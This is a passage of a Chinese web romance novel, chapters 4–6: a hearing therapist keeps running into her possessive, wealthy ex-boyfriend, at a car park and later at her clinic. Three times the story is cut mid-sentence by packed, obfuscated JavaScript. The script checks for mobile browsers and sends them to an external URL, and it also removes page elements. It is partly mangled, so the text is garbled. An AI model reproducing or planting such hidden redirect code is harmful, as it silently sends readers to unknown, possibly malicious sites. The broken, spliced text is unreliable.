想起刚才在包厢里发生的事,又见此刻阙宛舒低垂着眼、情绪不高的模样,赵宣沂竟忍不住抬起手,掐住了她的脸颊。 触手的肌肤柔嫩,捏起来软软的,手感很好。 阙宛舒抬起眼,有些茫然地看向她,赵宣沂又伸出一只手,掐住她另一边脸颊,然后往两侧轻轻一扯。 “尼在做蛇摸……?”阙宛舒被她掐得不自觉咧开嘴角,看上去就像是在笑。 赵宣沂这才觉得顺眼许多,她满意地点点头,眼尾上翘的猫眼里浮现笑意:“你笑起来漂亮多了,阙宛舒。” “……” 阙宛舒愣住了,呆呆地看着她。 就在这时,身后突然传来一道男声:“宛舒?” 阙宛舒维持着被掐住脸的姿势侧头去看,发现来人是靳廷,他表情疑惑地看着她和赵宣沂,道:“张老师见你迟迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830206|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回来,以为你出了什么事,就让我来看看。” 他很快走到她们面前,含笑看了赵宣沂一眼,问道:“这位是?” “她……是我朋友。”这时赵宣沂终于放开了她,阙宛舒重获自由,正想替双方介绍彼此,就听赵宣沂说:“我先走了,下次见。” 说完,她朝靳廷点了下头,便挥挥手走人了,还顺手把从刚才就躲在不远处的拐角探头探脑的曹英拉走。 “赵姐!赵姐!别抓我头发,啊痛痛痛!” “闭嘴。” 目睹这一幕的靳廷看向阙宛舒,阙宛舒呵呵一笑,解释道:“她为人比较爽朗。” 靳廷:? 重新定义爽朗。 - 回到容福轩后,阙宛舒和大家解释自己方才在外头遇见了朋友,多聊了两句才迟迟未回,众人便没有再多问。 由于意外在这里偶遇了前男友,饭局的下半场,阙宛舒的兴致不是很高,但这次聚餐也算是给她办的欢迎会,因此她还是强撑起精神和大伙聊天。 好不容易撑到聚餐结束,她已经有些精疲力尽,只想立刻飞奔回家,把自己埋进柔软的床铺里。 吴主任和几位医生都喝了酒,各自醉得歪七扭八,靳廷没喝酒,他替老师和前辈们叫了车,扶他们到门口,并将车钥匙给了阙宛舒和郑鹿梨,让她俩先到停车场等他。 往停车场的路上,郑鹿梨絮絮叨叨地和阙宛舒讨论方才的菜色,她兴致颇高,说得眉飞色舞,阙宛舒虽句句附和着,实则有些心不在焉。 两人进了电梯,按下负二层的按键,随后电梯门缓缓关起。 就在门将要彻底阖上时,忽然有人从外头按了下按键,于是门再度打开。 阙宛舒正低头盯着地面发呆,直到被郑鹿梨拉了一把才匆匆抬头,这一抬头,冷不防撞入一双幽潭般的眼睛,整个人立刻僵住了。 “宛舒,进来点。”郑鹿梨又喊了她一声,她这才堪堪回神,顺势退到侧旁角落。 电梯门外,卫珣双手抄兜,面无表情地迈步进了电梯,恰好就站在她的身旁。 他身后还跟着曹英和侯熙鸣,以及一个她不认识的青年,阙宛舒认出他是那个和霍海承一起在露台抽烟的人,但没有看见霍海承。 几个人一进来,郑鹿梨也不说话了,她拉住阙宛舒的手,悄悄打量起身旁几个看上去就像是有钱公子哥的男人。 哟,站在宛舒旁边那个还挺帅。 她的目光在几个人身上扫了一圈,直到无意间对上了连峰的视线,后者挑着眉朝她吹了个口哨,要多轻佻就有多轻佻,郑鹿梨立刻面无表情地收回目光。 阙宛舒没注意到他们的眉眼官司,她正紧贴着墙壁,浑身绷紧一动也不敢动,全部的注意力都被身侧的人引去。 明明电梯里的空间敞亮,即便站了六个人依然宽敞,卫珣也并非紧贴着她,但她就是感觉他的存在感强烈到难以忽视,一举一动都处处压迫着她的心神。 她连大气也不敢喘一下,感受到他身上清淡好闻的男士香水味将自己团团包围,阙宛舒甚至觉得有些晕眩。 她不自在地动了动垂在身侧的手臂,下一秒,蓬松的灯笼袖竟不慎擦过了他的袖子,引来一阵细碎的窸窣声。 察觉到身旁的人似乎垂目看过来,阙宛舒立刻不敢动了。 从一楼下到负二层的电梯很快,但她却觉得漫长得像是已经过了十辈子,忍不住在心里着急起来—— 这电梯怎么这么久? 难道目的地不是负二层地下停车场,其实是地狱十八层? 4. Chapter 04 电梯内的几个人心思各异。 连峰也知道了他和霍海承遇到的那个姑娘,原来就是卫珣念念不忘的白月光。 此刻见他俩沉默地站在一起,互相不搭理,他有心想助攻,便突然开口说道:“两位小姐,时间这么晚了,姑娘家自己回去多危险呀,要不哥哥们送你们回家吧?” 说完,他还用食指勾起车钥匙朝她俩晃了晃,状似不经意地展示出钥匙上的兰博基尼字样。 可惜阙宛舒无心搭理任何人,根本没有听清他说了什么,而郑鹿梨早就当他是个浪荡公子哥,听见他的话之后愈发面露警惕。 她冷笑着拒绝:“不用麻烦了,我们的男朋友会送我们回家。” 特意强调了“男朋友”三个字。 此话一出,电梯里顿时陷入一片末日来临般的死寂。 连峰瞪大眼睛,根本就不敢去看卫珣的反应,他张了张嘴,下意识骂了一句“操”。 郑鹿梨闻言蹙起眉,眼神愈发鄙夷。 啧,这富二代不仅轻佻浪荡还没素质,搭讪女孩子被拒绝后竟然还骂脏话。 “叮——” 恰好电梯已经到达负二层,郑鹿梨不想被没素质的纨绔子弟纠缠,门开了之后,连忙推着疑似已经吓傻了的阙宛舒走出电梯。 她们走得很快,自然也没听见身后曹英的那一句:“珣哥冷静!杀人是犯法的……” 这一边,郑鹿梨推着阙宛舒的肩膀走得飞快,可惜她方向感不好,在停车场里绕了好一会才找到靳廷的车。 而阙宛舒则全程心不在焉地被她带着走,脸上的表情不是很好,脸色也有些苍白,赵鹿梨只以为她是被刚刚在电梯里搭讪她们的纨绔子弟吓到了。 她比阙宛舒还大两岁,此刻不由在心里涌现了一股要保护好后辈的责任感,因此望向周遭的目光愈发警惕,誓要用眼神杀死每一个不怀好意靠近她们的家伙。 找车的过程中,两人还路过了连峰等人几次,连峰有心想找她们搭话,无不被郑鹿梨凶狠的眼神逼退。 连峰:“……” 他什么都还没说。 卫珣正站在自己的车旁,望着不远处被郑鹿梨牢牢地护着的阙宛舒,目光一刻不落地紧随着她。 他站的位置刚好是柱子旁,顶上投过来的灯光被柱子遮掩了大半,此刻大片阴影落在他脸上,配上那副阴沉又执着的眼神,使得他看上去就像个蛰伏在黑暗中等着找仇人索命的男鬼。 曹英在旁看得一阵哆嗦。 这时郑鹿梨终于找到车了,她飞快地拉开副驾驶座的位置把阙宛舒塞进去,随后抬头朝着他们的方向瞪了一眼。 “……” 卫珣扯了扯唇角,正要上车,却见郑鹿梨把阙宛舒塞进副驾驶座后,又拉开后座的车门坐了进去。 他上车的动作顿时一顿。 如果那个女人不是开车的人,那么开车的是谁? 卫珣很快得到了答案。 片刻后,一个戴着眼镜、文质彬彬的年轻男人出现在停车场,坐上了阙宛舒所在的那辆车的驾驶座。 他的出现让卫珣等人都很是意外。 毕竟他们都以为郑鹿梨的男朋友一说只是拒绝人的借口,没想到还真有个男的啊? 那么这个男人又是谁的“男朋友”? 隔着挡风玻璃,车内的情景车外的人看不真切,只能依稀看见驾驶座里的男人正侧头和副驾驶座的阙宛舒说话,说着说着,似乎还伸手要去摸她的脸。 “……” 卫珣眼角一跳,额上浮现青筋。 下一秒,就见阙宛舒偏头躲开了那男人的手,望向副驾驶座旁的车窗。 “我没事,可能是刚刚喝了点酒,现在稍微有些头晕而已。”车内,面对靳廷关心她脸色的询问,阙宛舒摇了摇头,低声说道。 她避开靳廷欲探她额温的手,偏头看向身旁的车窗,不经意和他拉开了距离。 这是个下意识的反应,虽然她没有去关注卫珣等人的动向,但她总觉得那家伙还没有离开停车场,说不定此刻正站在某个角落里盯着她。 并不是她自恋,觉得前男友会在分手多年后还对她念念不忘,关注着她的一举一动,这纯粹是出于多年前与他恋爱时所培养出来的习惯。 众所皆知,卫珣是个醋桶。 用醋桶形容他或许还不够贴切,他简直是个醋缸、醋池,不……汪洋醋海才对。 虽然他也不至于丧心病狂到阻止她和他以外的男孩子当朋友,但若有别的男生对待她举止亲密,他简直能提着十吨火药炸了对方。 更不用说是喜欢她、和她告白了。 因为男朋友太爱吃醋,后来阙宛舒也养成了时刻与其他男孩子保持安全距离的习惯,这不是为了保护自己,而是为了保护他人。 方才也是,在靳廷抬起手的那一刻她就躲开了,因为意识到卫珣可能还在这座停车场里。 可是别开脸之后,阙宛舒又不由一愣,觉得自己这副避嫌的举动有些多余。 她和卫珣都分手八年了,而且分手时那么不体面,她只一则短信就打发了他,依照卫珣的性格,他恨她诅咒她都来不及,怎还会介意她是否与他人亲密? 如果介意,只可能是因为恨不得她一辈子都过得痛苦不幸,见不得她表现出幸福的模样吧。 是她想多了,是她还—— 就在这时,靳廷发动了车子,在驶向停车场出口的路上,在窗外缓慢掠过的风景中,阙宛舒对上了卫珣的眼睛。 只有大概三秒的时间。 她看见他站在一处阴影之中,正眼神凌厉地盯着她,腮帮子微微绷紧,似透着一股咬牙切齿的意味,那副表情竟仿佛与他从前吃醋时的模样重叠在一起。 她甚至怀疑下一秒他就会开车追上来,不顾一切拦停靳廷的车,随后把她从车里拉下来,再顺手把靳廷揍一顿。 可惜这些也不过是想像罢了。 “……” 没等阙宛舒回神,卫珣已经从她的视线里消失,他没有追上来,而她最终也没敢回头去看。 - 今夜实在太漫长了。 筋疲力尽地回到家后,阙宛舒本想直接把自己埋进柔软的被褥里,但又想到身上的衣服还没换,于是挣扎几秒,最后还是选择扑倒在沙发。 躺尸了一会后,手机的震动声忽然响起,她没有理会,想等着它自己停掉。 但手机响了好久就是不停,她只好慢吞吞地爬起来,把手机从包里拿出来一看,来电显示打来的人是许知嫣。 许知嫣打的是视频电话,阙宛舒一接起,就见屏幕上出现一个穿着睡衣、糊了满脸泥膜的女人,那人尖利高亢的声音透过手机被公放出来:“我听说你去了卫珣的生日宴——!!” 阙宛舒冷不防被她炸了下耳朵,五官皱成一团:“我的耳朵要聋了。” 许知嫣却顾不上这个,她还在激动地追问着:“是不是真的是不是真的!你快告诉我!” “是真的。”阙宛舒无奈地把音量转小,又趴回沙发上:“不过你怎么那么快就知道了?你不是在日本出差吗?” “当然是也去了生日派对的人告诉我的,何况现在圈子里都传遍了!” 阙宛舒一顿,问道:“都传了什么?” “都说卫珣的白月光落魄归来,曾经高高在上的阙家大小姐如今沦落到给大伙卖唱助兴,还逗得大家哈哈大笑,我听到后差点没气死,你快告诉我到底发生了什么事,你怎么会跑去卫珣的生日宴?!” 许知嫣一边说一边凑到镜头前,一双漂亮盈润的大眼睛此刻仿佛能喷火般,试图从阙宛舒脸上找到一点被人欺负的端倪。 没想到阙宛舒竟然还笑得出来,她弯起眼睛:“当时是挺好笑的。” “阙!宛!舒!”许知嫣更气了,急得恨不得从屏幕另一头穿越过来。 “好嘛,你别生气了,我都告诉你。”阙宛舒放柔语气,先安抚了下闺蜜的情绪,这才把今晚发生的一切都告诉她。 殊不知许知嫣听完前因后果后,表情愈发狰狞得仿佛要杀人,脸上已然逐渐干掉的泥膜都出现了龟裂的痕迹。 她咬牙切齿道:“你说是霍海承带你去的?不仅如此,他还拱你上去给卫珣唱歌,还要你去给卫珣敬酒?” 阙宛舒迟疑地点点头。 虽然知道许知嫣向来是个极其护短且性格直率的姑娘,但她……看起来也太生气了吧? 阙宛舒正想说点什么,许知嫣忽然猛地一拍大腿,怒声道:“霍海承这个贱人!我当时要是在场肯定得十巴掌把他扇到银河系外头去!” 阙宛舒:“…………” 不对,她这是超级生气啊!! 她记得从前的许知嫣和霍海承关系挺好的,霍海承虽然蔫儿坏,但挺会哄女孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830207|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当时许知嫣做为她的闺蜜,与身为她男友的卫珣是天然的阶级敌人,卫珣气人的本事又不小,每当被卫珣气得半死时,都是霍海承把许知嫣哄好的。 所以许知嫣虽然讨厌卫珣,但和霍海承这个卫珣的好兄弟的关系还不错。 许知嫣此刻一副恨不得把霍海承扔进油锅里炸一炸再串起来抽筋扒皮的模样,显然讨厌他的心已然超过了讨厌卫珣,阙宛舒有些茫然:“你跟霍海承有仇?” “没有!我跟他有个屁的关系!”许知嫣气急败坏地说,看起来反而愈发可疑。 说起来,霍海承现在也是个浓眉大眼的大帅哥,长得还完全是许知嫣会喜欢的类型,难道这两个人真有过什么? 阙宛舒没急着八卦,见许知嫣已经快把自己气成一只河豚,她连忙安抚起好友。 “我没事,就是唱了首歌,大家还都很捧场地给我鼓掌呢。”阙宛舒笑着说道,全然是一副觉得没什么大不了的模样。 可她愈是这般反应,许知嫣就愈是生气,生气之余更多的是心疼。 她鼓起腮帮子:“你骗人,他们才不是这么说的,现在几个群都传遍了,说你给卫珣唱儿歌,还唱得很难听,他们都在嘲笑你,我都要气死了!” 这可是她的好闺闺,天底下最好最好的好闺闺,那些嘴巴像刚从化粪池里捞出来的家伙凭什么对阙宛舒品头论足。 许知嫣现在只想提着十吨火药炸了所有人。 不同于许知嫣的义愤填膺,阙宛舒是真的不在意别人怎么说,当年她家破产、父亲入狱时,更多更难听的话她都听过了,或许当时的她还会为此而掉眼泪,恨老天残忍,但如今的她,只觉得这些都算不得什么。 毕竟这个世界就是这样,不是你看别人笑话,就是别人看你笑话,得意时倒还好,旁人只敢在背地里笑话,等到一朝落魄后,就全都摆到明面上来。 世间人情冷暖向来如此,总是落井下石多,雪中送炭少,阙宛舒这些年早就都尝遍了。 所以他们要笑就去笑吧。 关她屁事。 阙宛舒自觉心态很好,但她并没有把心里真正的想法告诉许知嫣,害怕她听完之后反而更难过。 她只是温声安慰着好友,这是她的强项,很快的,许知嫣果然渐渐冷静下来,只是看着她的眼睛还有些泪汪汪的。 “窈窈,你不要难过。”许知嫣忽然说,她脸上还糊着一层泥膜,配上可怜兮兮的眼神,看起来有些滑稽,但却让阙宛舒的心软得一塌糊涂。 “我不难过。”阙宛舒弯起眼睛笑,柔和的嗓音里没有半点阴霾:“因为你始终站在我身边,而且,赵宣沂也帮我了呢。” 虽然她经历的苦难是有点多,但这些年遇见的也不全是落井下石的家伙,还有很多真心对她好的人。 阙宛舒更珍惜这些人。 “……赵宣沂?”许知嫣听见关键字,表情顿时有些不是滋味,她别扭道:“算她还有点良心。” 当年她和赵宣沂被个不要脸的贱人脚踏两条船,是阙宛舒护着她们把那人渣给骂得怀疑人生,之后她的窈窈还给赵宣沂擦眼泪了呢。 看在这女人还算懂得知恩图报的份上,许知嫣就不和她计较她最近在秀场上抢了她一条高定裙子的事了。 此刻见阙宛舒面露疲惫,许知嫣连忙让她去休息,又说了一堆安慰她的话,这才把电话挂了。 挂掉电话后,她还是不解气,忍不住把霍海承从黑名单里放出来,发了一大堆臭骂他的消息和表情包,没等他回应,又把他送回黑名单里去。 接着她又点开卫珣的聊天窗,怒气冲冲地连发好几则消息过去—— 「欺负前女友的狗,注孤生的命!」 「我在此诚挚祝福你公司股票暴跌,车子一上路就爆胎,吃饭吃到毛毛虫,喝凉水也发胖,头发英年早秃,每天踩到狗大便,跌个狗吃屎,走在路上被狗咬,被狗追着啃屁股——(在此省略三百个字)」 「狗东西。」 「给老娘带着你的好朋友滚一边凉快去,别再来骚扰我的好闺闺。」 「记住,是我的好闺闺,不是你的。」 「气死你气死你气死你气死你气死你气死你气死你气死你!」 卫珣:“…………” 每当看见许知嫣发来这种消息,他就知道自己肯定又身败名裂了一次。 妈的,他迟早要弄死这丫头。 5. Chapter 05 卫珣生日宴上发生的事很快就被阙宛舒抛到脑后,忙碌的生活让她无心再去探听更多后续,也无从探听起。 她已经不是那个圈子里的人,就算想探听也没有相应管道,她与那圈子唯一的连系只有许知嫣,但后者不会总拿那些无聊的八卦来影响她心情。 所以阙宛舒也不知道,自己回梓城的事在圈子里掀起短暂的热议过后,如今她的名字又回归了伏地魔的待遇。 起因当然是卫珣。 不过在那之前,其实也有不少人维护她,除了许知嫣和赵宣沂外,还有许多是她从前的同学。 阙宛舒以前上的是国际学校,校内采用的教学模式以国际化教育为主,在这里就读的学生基本都是奔着毕业后出国留学的。 学校从幼儿园至高中皆有学部,阙宛舒自幼儿园起就是那儿的学生,因此圈子里其实有许多人是和她从小一起上学的同学,彼此的关系虽不见得有多熟络,但也算是一起长大的。 阙宛舒脾气好,待人友善又体贴,虽然家里有钱有势,但从没仗着家世欺负别人,反倒热心助人,因此绝大多数的同学对她的观感都很好。 很多人至今仍记得,如果不是高三那年阙家突然出事,其实阙宛舒也是打算出国留学的,说不定去了国外以后他们还能继续当同学,谁知世事无常。 如今消声匿迹多年的阙宛舒再次出现,同学们见到她还是挺高兴的。 眼见她在卫珣的生日宴上被拱着唱歌的视频被人发到各个群里讨论,同时伴随着许多调侃嘲笑的声音,曾经的同学们都怒了。 大伙们纷纷出言为她发声,和嘲笑她的人吵成了一团,一时热闹得很。 也有人觉得卫珣未免太过小心眼,虽然不知道他们分手时究竟发生了什么,但他任由旁人在自己的生日宴上为难前女友实在很没风度。 其中有一个男同学格外义愤填膺,他也是自幼儿园起就和阙宛舒同校,还曾偷偷暗恋过阙宛舒,只是碍于她身旁有个不讲理的恶霸而不敢轻易吐露心思。 高中时好不容易在朋友们的鼓励下鼓起勇气向小女神告白,结果还被卫珣那恶霸撞见,不仅情书被当场撕个粉碎,还差点被揍了,心情可谓是郁卒至极。 听说女神后来因为这件事骂了卫珣一顿,还教育卫珣无论如何都应该尊重他人的心意,虽然她最后还是拒绝了他,但男同学依然非常感动,只觉得自己果然没喜欢错人。 得知阙宛舒和卫珣在一起后,他也只是背地里偷偷痛骂了下卫珣,心里还是很祝福的。 正是因为如此,男同学才对卫珣生日宴上发生的事格外气愤,虽多年过去了,他如今也有了深爱的伴侣,但依然见不得曾经真心喜欢过的人被这样对待。 不过,气愤归气愤,他也只敢偷偷腹诽,不敢真的去指责卫珣。 毕竟这说到底也是别人的事,更不用说恶霸如今还是恶霸,他可惹不起。 如此沸沸扬扬地闹了一阵子,卫珣始终没有什么反应。 卫家大少爷被单方面分手后还对前女友念念不忘这件事,在梓城富二代圈子里并不是秘密,因此对于重遇前女友一事,许多人都十分好奇他的反应。 眼见他始终冷眼旁观,似乎对于此事毫不在意,在生日宴上对许久未见的前女友的态度也很冷淡,大伙不由开始分析起他的想法。 有人说他在重遇故人的那一刻就彻底放下了,也有人说他其实是因爱生恨,恨不得阙宛舒活得再更狼狈点,更有人说这不过是个开始,他针对甩了自己的前女友的复仇大计才正要开始。 各种猜测众说纷纭,有关他俩的爱恨情仇简直快被传成几百万字的小说,直到几日之后,众人才发现卫珣还是那个卫珣。 首先是几个于嘲笑阙宛舒一事上蹦跶得最欢的人开始倒霉。 这些人多半是些只知吃喝玩乐的纨绔子弟,毕竟大家如今都是在商场上混的人精,私下说说八卦就算了,谁会真的冒着得罪人的风险一天到晚传人家前女友的闲话? 真当别人不敢惹卫珣只是因为他脾气不好拳头大啊? 他可是卫家直系继承人之一,卫家的泽越集团虽不至于凭一己之力就撑起国内经济的半壁江山,但放眼全国也是排得上号的大财团,旗下涉略的产业之多,与许多企业都有合作。 再说卫珣此人,他也不是什么不事生产的纨绔公子哥,人家是正经的常春藤名校毕业,现任泽越集团董事,由他出任CEO的泽越电子科技、泽越能源都是市值极高、前景颇受看好的大公司,更不用说他的性格睚眦必报、笑里藏刀,脾气也不好,疯了才为个八卦去得罪他。 眼见那些纨绔子弟或自己倒霉,或家里公司倒霉而被长辈狠狠收拾,大伙才发现卫珣原来不是毫不在意,而是暂且隐忍不发就等着一网打尽啊。 当然也有还没被收拾、或者被收拾了之后更为反骨的家伙,几个人在一场慈善晚宴上聚在一起痛骂卫珣。 “真当这里成了他卫少爷的一言堂啊?凭什么不让人说,我就说,以为我怕了他不成!”一个富二代正义愤填膺地说着。 在他身旁的几个纨绔子弟纷纷附和:“就是就是。” 这富二代前几天才被他爸家法伺候,还险些被停了卡,如今正在气头上,见兄弟们都附和自己,他一时不免也有些得意忘形起来。 “而且我们有说错吗?他前女友在他生日宴上唱的歌就是很滑稽——” 话还没说完,肩膀突然被人拍了一下。 富二代一愣,在他面前的几个朋友突然露出一副见到鬼似的惊恐表情,直望着他的背后,他心里不由“咯噔”一声。 这时,肩膀又被人拍了下,他自知躲不过,终于脸色僵硬地回过头去,果然对上了卫珣那双泛着凉气的眼睛。 “珣、珣哥……“富二代都快吓哭了,不是说卫珣今天不会来参加这场晚宴的吗? “愣着做什么?”见他脸色惨白,害怕得像是恨不得当场跪下,卫珣扬起唇角,眼神却似刮骨的阴风般凉飕飕的:“继续说啊。” 刚才还表现得很硬气的人立刻开始求饶:“珣哥,我错了!我再也不敢了——” “我看你挺敢的。”卫珣不紧不慢地走近一步,借着身高差距居高临下地看着那人,随后他抬起手,在对方惊恐的眼神中替他理了理前襟,道:“再让我从你嘴里听见她的名字,我就让你爸送你去非洲种田,相信你父亲会很乐意用一个没用的儿子来换取泽越食品的单子。” 这个人家里经营可可事业,在非洲许多国家都有着可可农场。 “记住了,是听见一句,种一年。”卫珣松开手,语气轻飘飘道:“啊,如果让我从别人那听到,也全都算在你头上,所以你可得管好其他人的嘴。” 富二代这下真想给他跪了,他欲哭无泪道:“珣哥,别人的嘴关我什么事啊——” 卫珣笑了,他抬手拍了拍对方的肩膀,力道不重,但那人却被拍得一阵腿软,往后踉跄几步。 若不是身边的朋友及时架住他,也许他就这么狼狈地跌坐在地了。 “是啊。”卫珣开口,此刻他唇边的笑意已然消失,独留那双幽暗的眼睛阴沉骇人得如同地狱里爬出来找人索命的恶鬼:“别人怎么样,关你屁事。” 他说完这句话便冷着脸走了,余下几个人心惊胆战地面面相觑,恨不得穿越到说阙宛舒闲话以前。 而方才的这一幕全被刚进入会场的许知嫣收入眼底。 她轻嗤一声,在卫珣面无表情地路过她时说了一句:“装模作样。” 卫珣果然停下脚步,扭头朝她看来。 别人怕他,许知嫣可不怕,她瞪大眼睛迎上他冷漠的目光,道:“少摆出这副护短的姿态,别以为这样我就会在窈窈那替你说好话。” 却听卫珣说:“我为什么要在意她怎么看我?” 许知嫣一愣,尚未反应过来,便见他沉声道:“你可别搞错了,是她对不起我,不是我欠了她。” “当初骗我的人是她,甩了我的人是她,只用一则短信就想打发了我、对这段感情毫无责任感的人也是她。” 卫珣眉目阴沉,语气却很平静:“所以我为什么不能恨她,不能想要报复她?就因为她家破产,父母出事,我就得事事体谅她,委屈和怨恨都不许有?呵,想得挺美。” 他冷笑道:“我这个人最记仇,睚眦必报,她有种就一辈子躲在宜安别回来,既然敢回来……” 后头的话没说完,但许知嫣从他阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830208|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠的眼神和表情也能看出绝对不是什么好话。 于是和卫珣分开后,她立刻给阙宛舒发消息警告她:“窈窈!最近千万不要一个人去人少的地方,下班后也赶紧回家,时间太晚就别出门了,外出最好和别人结伴而行,并且要警惕看起来别有居心的路人……不对,你干脆搬过来和我一起住好了!” 阙宛舒:“?” 阙宛舒:“我家附近出现了变态?” 许知嫣:“是卫珣!我怀疑他要报复你!他刚刚都放狠话了,你要小心他套你麻袋!!” 阙宛舒:“……” 她想,就算卫珣真想报复她,也不致于雇人来跟踪她、套她麻袋吧? - 转眼到了十月底。 周会上,吴主任底下的住院医师报告了近期一例进行双耳电子耳手术的个案。 个案如今一岁八个月,为OTOF基因异常导致双耳极重度听损的患者,OTOF是造成先天性感音神经性听力损失的常见基因之一,此基因所制造的otoferlin蛋白主要分布于内毛细胞,和听觉神经突触传递声音有关,若发生变异会影响蛋白质的功能,继而导致听力损失。 此类患者的临床症状常为听神经病变,听力易呈现波动性变化,听损程度从中度至极重度皆有可能,且由于其疾病特性,患者的耳声传射检查结果通常为正常,因此很可能通过新生儿听力筛查。 这位个案正是如此,他刚出生时通过了听力筛查,因此家人并未察觉孩子有听力问题,直到随着年岁增加,家人与保姆发现他对于声音的反应不大,且言语发展相对落后,再次进行了听力检查与基因筛查,这才确诊为OTOF基因异常患者,且听损程度可能达到极重度以上。 一岁一个月时,个案使用了助听器,同时辅以听能康复训练,但成效不彰,后转至云安医院由吴主任评估,并于一岁七个月时进行了双耳人工电子耳手术。 如今已是术后一个月,患者的伤口恢复良好,于电子耳的调整上颇为适应,家人也发现他对于声音的反应变多了。 接下来他会在云安医院进行电子耳术后的听能康复训练,由阙宛舒负责。 住院医师结束报告后,吴主任又在会议上和阙宛舒讨论了下患者的情形与康复课程的内容,这才结束周会。 下了周会,郑鹿梨凑到阙宛舒身边和她八卦:“听说你接的这个案是咱们医院的超级VIP,有小道消息说是某财团家的小少爷。” 阙宛舒看她一眼,好笑道:“你这又是哪里得来的小道消息?” 郑鹿梨说:“VIP病房那都传遍了,说这小少爷做手术那几天,他家里人把五间特级VIP病房都订下来了,安保森严得很,一看就不简单。” 阙宛舒沉思。 郑鹿梨拍拍她的肩,叮嘱道:“VIP病患都不好搞,更难搞的是他们的家属,你得自己注意点,要是发生什么突发状况赶紧给张老师打电话,前辈们会罩你的。” 阙宛舒笑笑:“知道了。” 到了VIP小少爷上第一堂课这天,阙宛舒刚布置好治疗室就接到了VIP接待室的电话:“阙治疗师您好,我是国际医疗部的专员,鄙姓林,这里有位病患预约了今日下午三点的听能康复课程,现在患者和他的家属已经到听语中心外了。” 阙宛舒回应道:“好的,我马上过去接他们。” 到了听语中心门口,阙宛舒用识别证刷开门,只见外头有个男人推着婴儿车站在不远处,正背对着她与一位身穿套装的专员说话,应该就是个案和他的家属。 阙宛舒快步朝他们走去,首先注意到她的是那位林姓专员,她笑着对那男人道:“治疗师来了。” 这时男人恰好回头,冷淡的目光迎面撞入她的视线。 “……” 阙宛舒猛地一顿,瞬间停下了脚步。 林专员没注意到她的异样,她拿着患者档案走到她面前,向她介绍:“阙治疗师您好,我是刚刚和您联系的林专员,这位就是预约了听能康复课程的卫谦小朋友,陪同的家属是他的父亲。” 阙宛舒闻言呆了呆,愣愣地看向正站在婴儿车后头面无表情地盯着她的卫珣。 ……父亲? 6. Chapter 06 “……父亲?” 阙宛舒一时没反应过来,呆呆地重复了一次。 “我不是。”她话音刚落,卫珣立刻接话,他看上去像是在对林专员说话,眼睛却看着阙宛舒:“我是他舅舅。” 舅、舅舅? 这下林专员也呆住了,顿了几秒后连忙确认起信息,她有些慌张地询问:“您、您不是卫谦小朋友的父亲吗?” “不是,他父亲临时有事,让我代替他过来。”卫珣解释道:“我记得我在来之前已经转告了接待室。” 他说这话时脸上没什么表情,语气也很平淡,令人辨不出喜怒,也让林专员愈发忐忑起来。 她面上摆出歉意的表情,羞愧道:“不好意思,是我没有事先确认好……” 卫珣没有说话。 气氛一时有些僵滞,阙宛舒见状踏前一步,她手里也有一份卫谦的档案,当下便拿着档案对卫珣道:“您好,我是负责听能康复训练的治疗师,鄙姓阙。出于院内规定,我们在治疗开始前会先核对患者的身份,请问小朋友的姓名是?” 卫珣看了她一眼,淡声答:“卫谦。” “他的生日是?” “2023年2月16日。” “父母姓名是?” “母亲卫瑾,父亲谢怀瑜。” 阙宛舒一连问了几个基本信息,卫珣一一答了,待确认完卫谦的身份,她先是不动声色地看了林专员一眼,随后微笑着对卫珣说:“感谢您的配合,卫先生,里面请。” 林专员见状感激地冲她一笑,卫珣则扯了扯唇角,推着正坐在婴儿车里好奇地朝四周张望的卫谦往里头走。 听语中心的大门往内走是一条走廊,左侧是值班室、听力检查室和前庭功能评估室,右侧则是四间或大或小的言语治疗室。 走廊上只有阙宛舒和卫珣甥舅三人,他们要去的治疗室在第三间,阙宛舒一路沉默地领着卫珣走到门口,正要开门,忽然听见他说:“治疗师小姐还真是热心助人。” 他强调了“热心助人”四字,语气里带着明晃晃的讽刺。 “……” 阙宛舒没有回应这句话,她开了门,并侧过身让卫珣先进去。 这间治疗室是专门给儿童患者使用的教室,只见室内空间宽敞明亮,地面铺了木制地板,四周的墙壁皆摆放了矮柜,矮柜内是各式各样的玩具和绘本,可提供给不同年龄层段的孩童使用。 “请到这边。”阙宛舒走到治疗室左侧的圆弧形桌子旁,示意卫珣将卫谦抱到桌前的儿童椅上。 儿童椅左右两侧各摆放了一张椅子,阙宛舒坐在左侧,右侧的位置则是留给卫珣的。 事实上,她根本没想到今天来的人会是卫珣。 